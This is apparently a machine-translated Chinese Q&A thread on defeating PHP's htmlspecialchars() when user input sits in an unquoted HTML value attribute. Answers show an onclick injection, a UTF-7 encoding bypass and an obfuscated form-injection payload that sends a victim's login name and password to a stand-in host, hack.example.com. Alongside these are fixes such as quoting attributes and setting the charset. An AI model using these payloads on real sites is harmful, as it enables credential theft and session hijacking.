XSS attack to bypass htmlspecialchars() function in value attribute
假设我们有这种形式,并且用户可能注入恶意代码的部分如下所示:
1 2 3 4 |
我们不能简单地放置标签或javascript:alert();调用,因为value将被解释为字符串,并且htmlspecialchars过滤出<,>,\\',",所以我们不能用引号将其封闭。
我们可以使用String.fromCode(.....)来解决引号,但是我仍然无法弹出一个简单的警告框。
有什么想法吗?
此外,值得一提的是,允许人们将HTML或JavaScript注入您的页面(而不是您的数据源)本身并没有固有的安全风险。已经存在浏览器扩展,可用于修改网页上的DOM和脚本,但是由于它只是客户端,因此只有它们才知道。
XSS成为问题的地方是当人们a)使用它绕过客户端验证或输入筛选,或者b)人们使用它来操纵输入字段(例如,更改ACL中OPTION标记的值以授予权限)时他们不应该拥有的权限)。防止这些攻击的唯一方法是在服务器端对输入进行清理和验证,而不是对客户端验证进行补充或补充。
要清理输入中的HTML,除非要允许某些标签,否则htmlspecialchars完全足够,在这种情况下,您可以使用HTMLPurifier之类的库。如果要将用户输入放在HREF,ONCLICK或任何允许脚本编写的属性中,那么您只是在自找麻烦。
编辑:查看您的代码,好像您没有引用属性!那真是愚蠢。如果有人将用户名设置为:
1 | john onclick="alert('hacking your megabits!1')" |
然后您的脚本将解析为:
1 | <input type=text name=username value=john onclick="alert('hacking your megabits!1')"> |
始终在属性周围使用引号。即使它们不是用户输入的,也要养成良好的习惯。
1 | <input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>"> |
有一种方法。您没有传递第三个编码参数htmlspecialchars()或没有正确检查编码,因此:
1 2 3 4 5 | $source = 'alert("xss")'; $source = mb_convert_encoding($source, 'UTF-7'); $source = htmlspecialchars($source); //defaults to ISO-8859-1 header('Content-Type: text/html;charset=UTF-7'); echo '<html><head>' . $source . '</head></html>'; |
仅在以下情况下有效:a)将页面设置为输出UTF-7或b)欺骗页面执行此操作(例如,未设置清晰字符集的页面上的iframe)。解决方案是确保所有输入均使用正确的编码,并且在htmlspecialchars()上正确设置了预期的编码。
它是如何工作的?在UTF-7中,<>"字符与UTF-8 / ISO / ASCII具有不同的代码点,因此除非将输出转换为UTF-8以确保安全,否则它们不会被转义(请参见iconv扩展)。
因此,
为了注入脚本,首先需要强制解析器关闭属性,如果没有
您忘了在属性值两边加上引号,因此您只需要一个空格即可。
即使您引用该值,它也仍然很容易受到攻击;请参阅此页面。
有点类似于丹尼尔的答案,但是通过首先设置一个虚拟值,然后添加空格以放入脚本中来打破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <body> <script type="text/javascript"> function redirectPost(url, data) { var form = document.createElement('form'); document.body.appendChild(form); form.method = 'post'; form.action = url; for (var name in data) { var input = document.createElement('input'); input.type = 'hidden'; input.name = name; input.value = data[name]; form.appendChild(input); } form.submit(); } redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '}); |
您无法利用包含该函数的输入字段,但是可以通过以下方法利用其附近的任何btn或段落,标题或文本:
就像你可以在btn上添加它-> onclick = alert('Hello')